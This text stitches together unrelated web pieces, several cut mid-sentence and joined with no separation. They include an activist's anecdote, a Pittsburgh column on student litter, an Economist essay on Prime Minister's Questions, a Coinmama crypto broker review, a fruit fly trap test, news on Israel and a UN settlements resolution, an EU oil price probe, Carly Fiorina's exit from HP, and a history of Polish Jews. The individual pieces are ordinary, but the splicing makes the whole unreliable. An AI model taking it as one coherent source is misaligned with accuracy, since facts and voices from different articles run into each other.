I coined the phrase "inessential weirdness" in 1979 while watching counterculture Movement for a New Society members attempt to work with more mainstream potential allies. I remember vividly the moment it popped into my head. My anti-nuclear group, a bunch of long-haired men and hairy-legged women, had formed a coalition to stop a local nuclear construction project, and we had set up a meeting with a senior citizen group. They were mostly white men retired from blue-collar trades jobs. The meeting was going well when someone proposed we take a coffee break. One of my esteemed counterculture colleagues said, "I know! For the break, let's all howl like wolves!" And even worse, several people did it! As a big "Owwwww-ooooooh" went up, I saw some of the senior activists nudge each other and roll their eyes, like "What's up with these wackos?" Their group did join the coalition, but no thanks to the howlers. Something in my gut switched sides at that moment, from a previous enchantment with all things alternative to a skepticism about |
face of the neighborhood.
Mr. Giampolo now lives most of the year in Honolulu, but he comes back regularly to visit his parents, and he's relentless in his attempts to get Pitt to put some money where its students' trash is. He figures that for what would amount to $4 from every student's tuition, it could launch South Oakland Urban Litter (SOUL) and hire 10 local youth to work four hours each weekday keeping the streets and sidewalks clean.
A couple of Decembers ago, trying to embarrass Pitt into action, Mr. Giampolo had a friend build a replica of the Cathedral of Learning, 3 feet wide and 9 feet high, to which he then nailed and glued pizza boxes, beer bottles and other bits of ugliness he'd picked up from a single block of Atwood Street one weekday afternoon.
He put that "Cathedral of Litter'' into the back of a rented pickup truck and parked it outside its taller cousin, ultimately attracting four campus police cars that arrived with lights flashing. Mr. Giampolo got a ticket for illegal parking, but he didn't go back home until he drove his exhibit to the City-County Building, too.
Vice Chancellor G. Reynolds Clark said university officials appreciate Mr. Giampolo's perspective but doesn't believe daily litter pickup on city streets is the university's responsibility. The city agrees that much of the problem is "a landlord issue,'' Mr. Clark said, and he doesn't see any support for Mr. Giampolo from Oakland-based organizations.
So what keeps this lone crusader going?
"It began at the kitchen table of my cousin,'' he said. She lives down the street from his parents. Four years ago when she was 76, she told him students had thrown beer cans in her yard and, after her son complained, they keyed his car and slashed the tires.
"That was a defining moment for me,'' Mr. Giampolo said.
He grew up among people who kept immaculate homes. His grandmother would pick tiny weeds from between the cobblestones. He says when Pitt was building the Cathedral of Learning in the 1920s, many of the immigrant families of Oakland contributed to its funding.
Now he likens that to inviting a guest into your home, and seeing the guest "attempt to become a master.'' There's no getting around the fact that students now dominate the neighborhood, but that's why Pitt needs to play a greater role in maintaining it.
He has drawn up a list of nine issues for Pitt. High on his list are never-ending expansion, binge drinking, trash, litter and illegal dumping. I admire his resolve, but I expect that list to make no more impression on Pitt than any of what's blowing around on Bouquet Street.
First published on December 11, 2011 at 12:00 amFOR an unprecedented fourth week running, Ed Balls managed to keep his hands to himself at Prime Minister’s Questions on January 29th. There was hardly any of the violent finger-stabbing the shadow chancellor of the exchequer, seated two sword-lengths from his Conservative opponents, loves to indulge in—and no airing of his favourite taunt, a fluttering hand movement that Mr Balls uses to signify Britain’s flatlining economy.
Good Keynesian that he is, the shadow chancellor has noticed that the facts have changed: according to figures out this week, Britain’s economy is growing at its fastest rate since 2007. His latest gesture, hands clenched tightly around his inner thigh, face meanwhile tense and puce, suggests some discomfort with that. Yet the taming of the Labour bruiser, Westminster’s most boisterous, obstreperous and, according to the Tory prime minister David Cameron, annoying man, is part of a wider campaign. Labour’s leader, Ed Miliband, wants to raise the tone of PMQs, the shop-window of Britain’s raucous parliamentary democracy.
Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.
This is noble. As Britain’s principal state theatre, an exercise in setting the agenda for public debate and testing the mettle of the prime minister, PMQs has a long and glorious history. Yet in its present form, a 30-minute weekly debate held every Wednesday at noon, it has become a farce. As the prime minister rises, to answer the first of a dozen questions, he is greeted by a sonic wall of jeering and invective. “Flashman!” Labour backbenchers scream at Mr Cameron—almost no matter what he is saying—in reference to his supposed alter ego, the public-school bully from “Tom Brown’s School Days”. “Apologise!” the Tories holler at Mr Balls, referring to his lack of contrition over past Labour spending. “Back-stabber!” they sneer at Mr Miliband, who won the Labour leadership against his brother David.
It is great sport—which is why a million people watch PMQs on television in Britain and elsewhere. In America and Japan it is cult viewing. Tony Blair, still bruised from his latest encounter with William Hague, a brilliant Tory debater, was often dismayed to hear his performance at the dispatch box critically appraised by Bill Clinton and George W. Bush. Both presidents were avid fans of PMQs on C-SPAN. Yet the “giant joust”, as Mr Blair called it, has long since failed to shape public debate—which is why Mr Hague won no votes for his hits. This is partly for the same reason that Mr Miliband is trying to raise the tone of it. Many voters find the sight of their elected representatives behaving like drunken hooligans off-putting. “My constituents are mesmerised by PMQs but hate us for it,” says a Tory backbencher. It is perhaps no coincidence that none of the three most popular politicians in Britain, Boris Johnson, Alex Salmond and Nigel Farage, is an MP.
At a time of historic disaffection with mainstream politics, as suggested by collapsing support for both Labour and the Tories, this is a big concern. And Mr Miliband is not alone in it: when Mr Cameron became Tory leader in 2005 he also swore to end “Punch and Judy politics”. Yet the magnitude of his failure is astonishing—Mr Cameron is an exemplary dispatch-box brawler—and for Mr Miliband instructive.
The hyper-adversarial culture of Westminster is fundamental to PMQs and, it may well prove, impossible to rein in. It reflects the House of Commons’ layout—it is unusual in having government and opposition benches in opposing lines. It is fuelled by the party system, in which the virility of the leader—including, thanks to a change wrought by Margaret Thatcher, his ability to speak for any of his ministers—stands for the tribe. On the Labour backbenches, Mr Miliband’s more sotto voce recent performances have caused dismay. It is also impossible, in the white heat of parliamentary debate, to distinguish between strategic and tactical objectives: many Tories view Mr Miliband’s civilising gambit as a sign of weakness, Labour having recently been hammered on the economy. And if they will not play ball with the Labour leader, what then?
PMQs this week offered clues to that. Against the Tory din, Mr Miliband maintained the interrogative tone of a firm, rather exasperated, schoolteacher. It was a show of steel, not weakness. But the biggest cheers from his backbenchers came when Mr Cameron briefly mislaid a note, when one of their own shrieked “Hear! Hear!” a little too loudly, and when a Tory MP, Penny Mordaunt, who recently learned to dive for a reality TV show, stood up to speak. (“Splash!” the house roared.) This is not a culture Mr Miliband can change by fiat or even by his own example.
That’s the way to do it
Yet that is not all bad. PMQs fulfils its other mandate, testing the prime minister, amply. All holders of the office hate it. Harold Macmillan regularly threw up beforehand; Mr Blair called PMQs “the most nerve-racking, discombobulating, nail-biting, bowel-moving, terror-inspiring, courage-draining experience in my prime ministerial life, without question.” Given the difficulties of holding government to account, this is not to be sniffed at—as Thatcher acknowledged: “No head of government anywhere in the world has to face this sort of regular pressure and many go to great lengths to avoid it.” There are ancillary benefits, too. Terror of being exposed at PMQs ensures prime ministers are well briefed on the performance of their ministers. Forcing party bosses to turn up for the joust also provides backbenchers with an important opportunity to buttonhole them.
If Mr Miliband fails in his endeavour—as probably every MP bar one expects—this should console him. Perhaps that chastening experience might even persuade him to temper some of his other grand schemes to change Britain’s political and economic systems, according to the social-democratic model he favours. That would have another ancillary benefit: an end to Mr Balls’s dejected thigh-clenching. The shadow chancellor, a more pragmatic Labour politician, would rather stand up and jeer.Coinmama review and comparison
Last updated: 2/18/19
Coinmama is a leading cryptocurrency brokerage company that allows you to buy several types of cryptocurrencies with your credit card.
Review Summary
Coinmama’s brokerage service allows you to buy Bitcoin and other cryptocurrencies easily. The company recently started focusing on customer experience and customer service so that transactions are super quick (user verification takes up to one hour).
For beginners, this is an excellent option for buying your first Bitcoin. More advanced users can use alternative trading platforms to avoid high fees.
For a detailed review about Coinmama keep reading this post. Here’s what I’ll cover:
Coinmama overview
Coinmama was established in 2013 in Israel and has since grown to serve over 1m customers in over 180 countries with over 30 employees. Today the company is registered in Slovakia while still owned and headquartered by New Bit Ventures in Israel.
On February 15th 2019, Coinmama reported that about 450,000 email addresses and hashed passwords of users who registered until August 5th, 2017 have been stolen from their database. This comes as part of a larger breach affecting 30 companies and a total of 841 million user records.
Coinmama services
Coinmama supplies a brokerage service for Bitcoin and other cryptocurrencies. This means that the company sells you the coins directly as opposed to a trading platform where you buy the coins from other people.
The pros of a brokerage service are mainly that the process is usually simpler and faster since you don’t need to look for a buyer on your own. On the down side, brokerage services are usually more expensive. In Coinmama’s case, the company has made ongoing efforts to reduce their fees as much as possible. At the end of this post you can see how Coinmama compares to other exchanges.
The process of buying coins from Coinmama goes as follows:
Submit your order Submit identity verification documents Submit payment Get your coins instantly
As soon as your payment clears, Coinmama sends you your coins. This is crucial since sometimes a day or two can mean wide price fluctuations in price and you end up buying coins for more or less than you originally intended. It is also worth mentioning that Coinmama “locks” the Bitcoin price for you as soon as you submit your order.
Coinmama currencies and payment methods
At the moment Coinmama supports buying only of the following coins:
Bitcoin (BTC)
Ethereum (ETH)
Ripple (XRP)
Litecoin (LTC)
Bitcoin Cash (BCH)
Cardano (ADA)
Qtum (QTUM)
Ethereum Classic (ETC)
Coinmama accepts credit or debit cards that is issued by Visa or Mastercard. The company has recently started accepting SEPA payments as well, with 0% processing fees.
Prices are denominated in EUR or USD.
Coinmama fees
The prices you see on Coinmama’s website already include the company’s brokerage service fee of 5.9%. The base price is calculated from TradeBlock’s XBX index.
On top of the stated price, you will need to add a 5% credit card processing fee. This means that usually Coinmama’s price will be around 10.9% above the market rate.
Coinmama buying limits
The minimum amount of Bitcoins you can buy is $60 or the equivalent in EUR. The daily buying limit is set to 5000 USD / EUR and the monthly limit to 20,000 USD / EUR.
Daily limits last 24 hours from the moment the order is placed. Monthly limits is a moving sum of the last 30 days.
In order to make any type of purchase you’ll need to complete some form of identity verification. There are 3 levels of verification, however, according to Coinmama’s documentation, they do not affect the buying limits.
Level 1 – Requires 1 valid government issued ID, a selfie of yourself holding that ID and a note with “Coinmama” and today’s date written on it.
Level 2 – You need to submit a secondary ID. Apart from two of the above IDs, you will also need to upload a utility bill.
Level 3 – Requires filling a short form.
Coinmama supported countries
Coinmama offers its services worldwide with the exception of sanctioned countries and several US states.
Countries supported:
Afghanistan, Aland Islands, Albania, Algeria, Andorra, Angola, Anguilla, Antigua and Barbuda, Argentina, Armenia, Aruba, Australia, Austria, Azerbaijan, The Bahamas, Bahrain, Barbados, Belarus, Belgium, Belize, Benin, Bermuda, Bhutan, Bonaire, Sint Eustatius and Saba, Bosnia and Herzegovina, Botswana, Brazil, Brunei Darussalam, Bulgaria, Burkina Faso, Burundi, Cambodia, Cameroon, Canada, Cape Verde, Cayman Islands, Central African Republic, Chad, Chile, Colombia, Comoros, Congo, Congo, the Democratic Republic of the, Cook Islands, Costa Rica, Cote D’Ivoire, Croatia, Curacao, Cyprus, Czech Republic, Denmark, Djibouti, Dominica, Dominican Republic, Egypt, El Salvador, Equatorial Guinea, Eritrea, Estonia, Ethiopia, Falkland Islands (Malvinas), Faroe Islands, Fiji, Finland, France, French Guiana, French Polynesia, Gabon, Gambia, Georgia, Germany, Ghana, Gibraltar, Greece, Greenland, Grenada, Guadeloupe, Guatemala, Guernsey, Guinea, Guinea-Bissau, Guyana, Haiti, Holy See (Vatican City State), Honduras, Hong Kong, Hungary, Iceland, India, Indonesia, Iraq, Ireland, Isle of Man, Israel, Italy, Jamaica, Japan, Jersey, Jordan, Kazakhstan, Kenya, Kiribati, Korea, Republic of, Kuwait, Lao People’s Democratic Republic, Latvia, Lesotho, Liberia, Libyan Arab Jamahiriya, Liechtenstein, Lithuania, Luxembourg, Macao, Macedonia, the Former Yugoslav Republic of, Madagascar, Malawi, Malaysia, Maldives, Mali, Malta, Marshall Islands, Martinique, Mauritania, Mauritius, Mexico, Micronesia, Federated States of, Moldova, Republic of, Monaco, Mongolia, Montenegro, Montserrat, Morocco, Mozambique, Myanmar, Namibia, Nauru, Nepal, Netherlands, Netherlands Antilles, New Caledonia, New Zealand, Nicaragua, Niger, Niue, Norfolk Island, Norway, Oman, Pakistan, Palau, Panama, Papua New Guinea, Paraguay, Peru, Philippines, Pitcairn, Poland, Portugal, Qatar, Reunion, Romania, Russian Federation, Rwanda, Saint Barthelemy, Saint Helena, Saint Kitts and Nevis, Saint Lucia, Saint Martin, Saint Pierre and Miquelon, Saint Vincent and the Grenadines, Samoa, San Marino, Sao Tome and Principe, Saudi Arabia, Senegal, Serbia, Seychelles, Sierra Leone, Singapore, Sint Maarten, Slovakia, Slovenia, Solomon Islands, South Africa, Spain, Sri Lanka, Suriname, Svalbard and Jan Mayen, Swaziland, Sweden, Switzerland, Taiwan, Province of China, Tajikistan, Tanzania, United Republic of, Thailand, Togo, Tokelau, Tonga, Trinidad and Tobago, Tunisia, Turkey, Turkmenistan, Turks and Caicos Islands, Tuvalu, Uganda, Ukraine, United Arab Emirates, United Kingdom, United States*, Uruguay, Uzbekistan, Vanatu, Venezuela, Viet Nam, Virgin Islands, British, Wallis and Futuna, Western Sahara, Yemen, Zambia.
US states supported
Arizona, California, Colorado, Florida, Illinois, Indiana, Kansas, Kentucky, Louisiana, Maryland, Massachusetts, Michigan, Missouri, Montana, Nevada, New Jersey, North Carolina, Pennsylvania, South Carolina, Tennessee, Texas, Virginia, Wisconsin.
Coinmama customer support and reviews
Coinmama has a complete help center and also a dedicated support channel via email. Support requests are usually answered within 24 hours.
I also took a look at various customer reviews users posted online – they weren’t encouraging. Having reviewed over 20 exchanges by now, I know that when people leave reviews online it’s almost always negative reviews because they are pissed off about something. That’s why I make it a habit to actually read through the reviews and see what people are complaining about.
The majority of Coinmama’s negative reviews complained about one thing – the identity verification process. Users claim that Coinmama requests a ton of information and in some cases rejects applications without giving proper explanation why.
From my own experience I can say that verification with Coinmama was relatively easy, and yes, they require a lot of information. However this is just standard Know Your Customer (KYC) and Anti Money Laundering (AML) policies most legit exchanges must adhere to. If you want to read some more user reviews for yourself head over to Bitrust.
Coinmama compared to other exchanges
Here’s a short comparison of Coinmama’s. brokerage service compared to other popular services around.
IMPORTANT – The fees stated in this table are for credit card purchase only. Also, some exchange have additional fees on top of the ones stated so it’s better to compare the final price of purchase instead (as seen below).
Coinmama vs. Coinbase
Coinbase charges a 3.99% fee for credit card purchases, which is lower than the 5.9% Coinmama charges. Unlike Coinmama, Coinbase supports only a limited number of countries around the world and is known to have horrible support.
Coinmama vs. Changelly
Changelly was known to be one of the most expensive services you could use to buy Bitcoin with a credit. However, it seems that lately they have optimized their service to offer a more competitive offer. Changelly takes a 5% on top of the existing 5% payment processor fee. This is 0.9% cheaper from Coinmama’s total fee. Also, it seems that the exchange rate Changelly uses is cheaper than Coinmama’s, so overall you can save up to 3% by using their service.
Coinmama vs. Bitstamp
Bitstamp’s brokerage service is almost identical to Coinmama’s, with about 0.5% difference between the services. Both have good reputation. Bitstamp is one of the oldest and most respected exchanges out there so it’s a solid alternative for Coinmama. Also, just like Coinmama, the exchange supports a wide variety of countries worldwide.
Coinmama vs. Binanace
At the time of writing, Binance is still strictly a crypto to crypto exchange so there is no way to buy coins on it with a credit card or a bank transfer. Because of this it’s basically impossible to compare the two exchanges.
Step by step guide
If you’re considering using Coinmama, I made a short screen capture of the whole process to help you out.
Conclusion – Would I use Coinmama?
The short answer is yes. Coinmama is a reputable company and their support is pretty good. Their only downside, in my opinion, is the high fees. Unfortunately, this can’t be avoided when using a credit card, but considering the prompt service it’s sometimes worth the cost.
If you have the option to use a SEPA transfer rather than a credit card that’s even better since you’ll save 5% in total fees.
All in all, the service is solid. If you’ve had your own experience with Coinmama, I’d love to hear about it in the comment section below.
Coinmama 8.6 Fees 7.5 /10
Ease of use 9.1 /10
Support 9.0 /10
Reputation 8.3 /10
Security 8.9 /10
Pros Great user interface
Fast delivery
Good support Cons Relatively high fees (~5.9%) Visit CoinmamaFruit flies are extremely annoying, fast, and a pain to capture and get rid of. Last month we shared a simple no-tools-required fruit fly trap with you. This week we tested it, slightly modified, with impressive results.
Advertisement
When we got back from our Labor Day trip, a few peaches in the kitchen had sneaked well past their prime and attracted a horde of fruit flies. Moving the fruit to dispose of it scattered dozens of fruit flies all over the kitchen. Capturing all of them would have taken way more time than we had to spend on the effort so we decided to test the no-tools-required fly trap we shared with you in August.
We took two small plastic party cups, put about a cup and a half of apple cider vinegar in each, added three drops of dish soap—to break the surface tension and cause the flies to sink—and then set them right where the peaches had been. We covered one one cup with plastic wrap and punched holes in it like the original post suggested and left the other one uncovered like commenters had suggested as an alternative and more effective method.
Within less than a minute fruit flies were flying over to investigate the sickly sweet smell of the apple cider vinegar. We left the two traps out for 24 hours (roughly how long it took for the fruit fly horde to vanish). The covered cup had only a single fly in it. The uncovered cup had dozens of flies in it, blanketing the entire bottom of the cup.
Advertisement
The best thing about this trap was how simple it was. You take a glass, pour a little apple cider vinegar in, add a little soap, and just leave it. The flies practically dive right in. Have a favorite trick for dealing with pests around your home? Let's hear about it in the comments.Israel’s government publicly accused the Obama administration Sunday of helping create and push the recently passed United Nations resolution condemning settlement activity, with a top official telling Fox News they have “ironclad information” on the U.S. government’s involvement.
“We have rather ironclad information from sources in both the Arab world and internationally that this was a deliberate push by the United States and in fact they helped create the resolution in the first place,” David Keyes, spokesman for Israeli Prime Minister Benjamin Netanyahu, said on Fox News’ “America’s News HQ.”
The accusation marks a new escalation in the Netanyahu government’s response to the U.N. Security Council vote on Friday. The resolution passed thanks to a U.S. abstention, a decision Netanyahu has described as a “shameful ambush.”
The White House already has acknowledged President Obama made the decision for U.S. Ambassador Samantha Power to abstain. Unclear was how involved the Obama administration was in crafting and pushing the resolution itself – which initially was put forward by Egypt, and then pursued by New Zealand, Malaysia, Senegal and Venezuela.
White House spokesman Eric Schultz issued a statement Sunday defending Obama's support for Israel and stressed that the U.S. did not draft the resolution.
"The Egyptians, in partnership with the Palestinians, are the ones who began circulating an earlier draft of the resolution," Schultz said. "The Egyptians are the ones who moved it forward on Friday. And we took the position that we did when it was put to a vote."
Keyes' criticism followed similar rhetoric by Netanyahu himself, who said that while the U.S. and Israel for decades had disagreed on settlements, they had an understanding that such action before the U.N. Security Council would make peace negotiations harder.
“As I told [Secretary of State] John Kerry on Thursday, friends don’t take friends to the Security Council,” Netanyahu said.
He pointedly said he looks forward to working with the new Donald Trump administration when it takes office next month. He said he was encouraged by Israel’s “friends in the United States” who criticized the resolution, saying “they understand how reckless and destructive” it is.
Keyes also told Fox News on Sunday that Israel was “deeply disappointed” by the resolution and the Obama administration’s abstention.
“I think what we’re seeing is an abandonment of Israel, and an abandonment of a long-standing American policy,” he said.
Israel's Foreign Ministry, meanwhile, said it began summoning the ambassadors of countries who voted in favor of the resolution, including those from the permanent members of the Security Council -- Russia, China, the U.K. and France. In a highly unusual move, the U.S. ambassador was later summoned as well, Israeli media reported.
"We will do all it takes so Israel emerges unscathed from this shameful decision," Netanyahu said.
The resolution, which condemned Israeli settlement activities in the West Bank and east Jerusalem, sparked outrage in Israel and led to a new low in relations between Netanyahu and Obama. Israel has accused Obama of colluding with the Palestinians against the Jewish state.
The resolution's immediate impact appears to be largely symbolic, but Israel fears it could open the door to an increase in international steps, including economic measures. Much of the international community considers the settlements illegal or illegitimate and an obstacle to peace.
In addition to the measures declared Sunday, Israel has recalled its ambassadors to New Zealand and Senegal for consultations and canceled a planned January visit to Israel by Senegal's foreign minister. A visit by Ukraine's prime minister has also been canceled in light of its support for the U.N. vote and Israel has pledged to cut millions of shekels in funding to certain U.N. agencies.
President-elect Trump had intervened last week after the Israelis reportedly appealed to him for help. Trump came out against the resolution but, after a vote was delayed, the Security Council went ahead with consideration and approved it on Friday.
Trump tweeted afterward: “Things will be different after Jan. 20.” He later tweeted that the vote "will make it much harder to negotiate peace." But, he added, "we will get it done anyway."
Kerry said Israel’s continued and stepped-up attempts to build more settlements in the region, which includes East Jerusalem, risks the so-called “two-state” solution between Israelis and the Palestinians, who also lay claim to the region.
“The United States acted with one primary objective in mind: to preserve the possibility of the two state solution, which every U.S. administration for decades has agreed is the only way to achieve a just and lasting peace between Israelis and Palestinians," Kerry said Friday. “Two states is the only way to ensure Israel's future as a Jewish and democratic state, living in peace and security with its neighbors, and freedom and dignity for the Palestinian people.”
He also said the administration does not agree with “every aspect” of the resolution but that it “rightly condemns violence” and calls on both sides to take constructive steps to reverse current trends and advance the prospects for a two-state solution.
Netanyahu did not mince words on Saturday in responding to what he described as a “shameful ambush.”
Netanyahu said the U.S abstention was "in complete contrast" to U.S. commitments -- including one that he said Obama made in 2011 -- not to impose conditions for a final agreement on Israel at the Security Council. "The Obama administration conducted a shameful anti-Israel ambush at the U.N.," Netanyahu said.
The Associated Press contributed to this report.LONDON/WASHINGTON (Reuters) - A European probe into possible oil price manipulation expanded with the investigation of a small niche trading house in the Netherlands, while a key U.S. senator on Friday called for the Justice Department to join the investigation.
Fuel pumps are seen at a Shell petrol station in London May 15, 2013. REUTERS/Luke MacGregor
Dutch trading house Argos Energies, a mid-sized trading company that deals in physical oil products and owns storage facilities, was visited by inspectors from the European Commission on Tuesday, a source familiar with the investigation said on Friday.
The visit occurred on the same day that authorities raided the London bureau of pricing agency Platts, and the offices of Statoil, Royal Dutch Shell and BP in the biggest cross-border action since the probe into rigging of Libor benchmark interest rates.
In Washington, the chairman of the Senate’s energy committee asked the Justice Department to investigate whether alleged price manipulation has boosted fuel prices for U.S. consumers.
“Efforts to manipulate the European oil indices, if proven, may have already impacted U.S. consumers and businesses, because of the interrelationships among world oil markets and hedging practices,” Senator Ron Wyden, the chairman of the Senate Energy and Natural Resources Committee, wrote in a letter to Attorney General Eric Holder.
The U.S. Commodity Futures Trading Commission and Federal Trade Commission have both declined to comment on any role or coordination with EU authorities in the probe. U.S. politicians including Wyden often call for enquiries into issues that affect gasoline prices, although regulators are not obligated to take action.
A spokesman for the Justice Department would not comment on whether the agency would undertake a probe, but said it was reviewing Wyden’s letter.
Authorities have sharpened scrutiny of financial benchmarks around the world since slapping large fines on some of the world’s biggest banks for rigging interest rate benchmarks.
Over the past year many observers have noted the resemblance between the Libor self-reported benchmark and the journalist assessment-based methodology used to set most of the world’s oil prices, but this week’s investigation is the first indication that EU authorities are taking a harder look at the system.
The source said that inspectors were still on the premises of Argos Energies on Friday and that it was also the last day of the inspection at the company.
Argos Energies declined to comment.
NO IMPACT ON LIQUIDITY
Platts said trading in the oil market has not been significantly affected by the investigation.
“Market participation and liquidity are unchanged,” Platts editorial director Dan Tanz said.
Meanwhile Neste Oil, a Finnish refinery, said it had received a request from the European Commission to provide information, although it said it was not under inspection.
“We will naturally cooperate with this request and provide the information requested to assist the European Commission in its investigation,” Matti Lehmus, executive vice president, Oil Products and Renewables said in a statement.
Hungary’s Pannonia Ethanol, a recent entrant to Europe’s market, was the first company to identify itself as having complained to Brussels over access to the Platts market-on-close (MOC) system - a daily half-hour “window” of trading during which the agency determines prices through a series of bids, offers and trades.
European oil major Total, which last year wrote to regulators to question the way oil prices were determined, said it was not involved with the current investigation and has not been visited.
“No, we haven’t sent any letter,” Chief Executive Christophe de Margerie told reporters on the sidelines of the group’s annual meeting, when asked whether it had complained to the EU.
“I’ve learnt about this through the press and news agencies. I’d be very surprised if some of the cited companies were involved in price manipulation.”
The investigation is focused on whether there was collusion to distort prices of crude, refined oil products and ethanol traded during the MOC window.
Platts, a unit of McGraw-Hill, provides clients with price benchmarks set by reporters for opaque energy markets.
Its assessments are used to close physical and derivative deals worth billions in a $2.5 trillion market.
Thomson Reuters, parent of Reuters news, competes with Platts in providing news and information to the oil market.Shares of HP have done little since the company first announced it was buying Compaq in 2001.
QUICK VOTE Is Carly Fiorina's departure a good thing for Hewlett-Packard?
Yes
No
No impact
View results Video More Video One of the nation's most high-profile female CEOs, Carly Fiorina, is leaving Hewlett-Packard. Play video
NEW YORK (CNN/Money) - Hewlett-Packard Co. Chairman and CEO Carly Fiorina, one of the most powerful women in corporate America, is leaving the troubled computer maker after being forced out by the company's board. Shares of HP (Research) jumped 6.9 percent in heavy trading on the New York Stock Exchange Wednesday on the news. But at one point, the stock was up as much as 10.5 percent. "The stock is up a bit on the fact that nobody liked Carly's leadership all that much," said Robert Cihra, an analyst with Fulcrum Global Partners. "The Street had lost all faith in her and the market's hope is that anyone will be better." Fiorina, the only female CEO at a company in the Dow Jones industrial average, had been with HP since 1999. But the company's controversial deal to buy Compaq in the spring of 2002 -- after a bruising proxy fight led by one of the Hewlett family heirs -- has not produced the shareholder returns or profits she had promised. "While I regret the board and I have differences about how to execute HP's strategy, I respect their decision," Fiorina said in a statement released by the company. On a conference call with reporters, executives said Fiorina was not terminated for cause and that she would receive severance pay -- and a company spokesman said she'll get a payout of approximately $21 million, including stock options (see correction). Fiorina told analysts in December that Hewlett Packard (Research) had seriously considered breaking up the company on three separate occasions but each time decided against it. Some industry analysts had argued HP should either split off its lucrative printer and imaging business, or break HP into separate firms, with one focusing on consumers and the other on corporations. But during a conference call Wednesday morning, HP CFO Robert Wayman, who was named interim CEO, suggested that no major changes in strategy would take place following Fiorina's departure. "We continue to believe we have the right ingredients for success in the marketplace," Wayman said during the call with Wall Street analysts. HP stock has been a laggard compared to the shares of rivals such as Dell (Research) and IBM (Research). Shares were trading at only about 13 times 2005 earnings estimates before the announcement, while shares of IBM and Dell traded at 17 times and 26 times forecasts for the current year. And even after factoring HP's big move Wednesday, the stock was still trading at around the same price it was at when the company announced its merger with Compaq in September 2001. The legendary Palo Alto, Calif.-based company has struggled to generate profits in the cutthroat hardware business, particularly in personal computers. In fact, slowing sales and stiff competition in the PC business led IBM to announce last year that it would sell its PC unit to China's Lenovo Group -- a deal that some lawmakers are eyeing for what they call national security concerns. PCs aren't the only trouble spot for HP. In the market for servers -- the computers used to build corporate networks -- analysts say HP has been squeezed by IBM on the high end and Dell on the low end. The troubles at HP were among the factors that prompted Fortune to demote Fiorina to No. 2 on its list of most powerful women in business, behind eBay CEO Meg Whitman. Fiorina had been No 1 since the list was created in 1998. Fortune also has a cover story in the current issue entitled, "Why Carly's big bet is failing" with the tag line: "Buying Compaq hasn't paid off for HP's investors. And there's no easy way out." In its statement, the board said it will start hunting for a new CEO immediately, and that Wayman will remain as CFO. Patricia Dunn, an HP director since 1998, was named non-executive chairman. During the conference call, Dunn said no other executive changes were planned, adding that a recent round of negative press had no impact on the board's decision. HP also said it will report results as scheduled after the market close on Feb. 16. It said it expects results to be in line with the consensus of analyst expectations, after excluding special items. Analysts expect HP to report a profit of 37 cents a share on that basis, up 5 percent from a year ago, on sales of $20.9 billion, up 7 percent. But Dell, by way of comparison, is expected to report an 18 percent increase in sales and 25 percent jump in profits when it reports its fiscal fourth-quarter results after the closing bell Thursday. So what's next? Although Dunn and Wayman both said during Wednesday's call that no major strategic changes were coming, investors were still hoping that a new CEO might be in favor of a split-up. "Hewlett's news will certainly help HP's stock, the technology sector and the overall market," said Timothy Ghriskey, stock market strategist and president of Ghriskey Capital Partners. "There's been speculation that it could also be the prelude to the breakup of the company into two or more pieces." But what ultimately happens to HP will largely depend on who the next CEO is. Dunn and Wayman did not rule out promoting someone from within the company. If that were the case, the most likely candidate would be Vyomesh ("VJ") Joshi. He had been the widely respected head of HP's printing and imaging division and was recently put in charge of a new unit that combines the printing and PC businesses. During the call, one analyst asked Wayman whether the company was concerned about Joshi leaving if he were not named the new CEO. Wayman would not comment. But Fulcrum's Cihra said investors appeared to be banking on HP hiring some fresh blood to shake up the company, regardless of what Dunn and Wayman said. "Saying they will stick with the current strategy is all the board can say," Cihra said. "I wouldn't expect Wayman to change strategy as an interim CEO. The board isn't likely to make any hard determinations until they get a new CEO." Michael Mahoney, managing director with EGM Capital, a San Francisco-based hedge fund that has no position in HP, said one long shot possibility would be for HP to bring back former Compaq head Michael Capellas, now the CEO of long-distance telecom firm MCI (Research). MCI has been rumored to be a takeover target of Baby Bells Qwest (Research) and Verizon (Research), so Capellas could very well |
were also popular, in particular, the Marxist Poale Zion and the orthodox religious Polish Mizrahi. The General Zionist party became the most prominent Jewish party in the interwar period and in the 1919 elections to the first Polish Sejm since the partitions, gained 50% of the Jewish vote.
In 1914, the German Zionist Max Bodenheimer founded the short-lived German Committee for Freeing of Russian Jews, with the goal of establishing a buffer state (Pufferstaat) within the Jewish Pale of Settlement, composed of the former Polish provinces annexed by Russia, being de facto protectorate of the German Empire that would free Jews in the region from Russian oppression. The plan, known as the League of East European States, soon proved unpopular with both German officials and Bodenheimer's colleagues, and was dead by the following year.[67][68]
Interbellum (1918–39)
Polish Jews and the struggle for Poland's independence
While most Polish Jews were neutral to the idea of a Polish state,[69] many played a significant role in the fight for Poland's independence during World War One; around 650 Jews joined the Legiony Polskie formed by Józef Piłsudski, more than all other minorities combined.[70] Prominent Jews were among the members of KTSSN, the nucleus of the interim government of re-emerging sovereign Poland including Herman Feldstein, Henryk Eile, Porucznik Samuel Herschthal, Dr. Zygmunt Leser, Henryk Orlean, Wiktor Chajes and others.[69] The donations poured in including 50,000 Austrian kronen from the Jews of Lwów and the 1,500 cans of food donated by the Blumenfeld factory among similar others.[69]
In the aftermath of the Great War localized conflicts engulfed Eastern Europe between 1917 and 1919. Many attacks were launched against Jews during the Russian Civil War, the Polish-Ukrainian War, and the Polish–Soviet War ending with the Treaty of Riga. Almost half of the Jewish men perceived to have supported the Bolshevik Russia in these incidents were in their 20s.[71] Just after the end of World War I, the West became alarmed by reports about alleged massive pogroms in Poland against Jews. Pressure for government action reached the point where U.S. President Woodrow Wilson sent an official commission to investigate the matter. The commission, led by Henry Morgenthau, Sr., concluded in its Morgenthau Report that allegations of pogroms were exaggerated.[72] It identified eight incidents in the years 1918–1919 out of 37 mostly empty claims for damages, and estimated the number of victims at 280. Four of these were attributed to the actions of deserters and undisciplined individual soldiers; none was blamed on official government policy. Among the incidents, during the battle for Pińsk a commander of Polish infantry regiment accused a group of Jewish men of plotting against the Poles and ordered the execution of thirty-five Jewish men and youth.[73] The Morgenthau Report found the charge to be "devoid of foundation" even though their meeting was illegal to the extent of being treasonable.[74] In the Lwów (Lviv) pogrom, which occurred in 1918 during the Polish–Ukrainian War of independence a day after the Poles captured Lviv from the Sich Riflemen – the report concluded – 64 Jews had been killed (other accounts put the number at 72).[75][76] In Warsaw, soldiers of Blue Army assaulted Jews in the streets, but were punished by military authorities. Many other events in Poland were later found to have been exaggerated, especially by contemporary newspapers such as The New York Times, although serious abuses 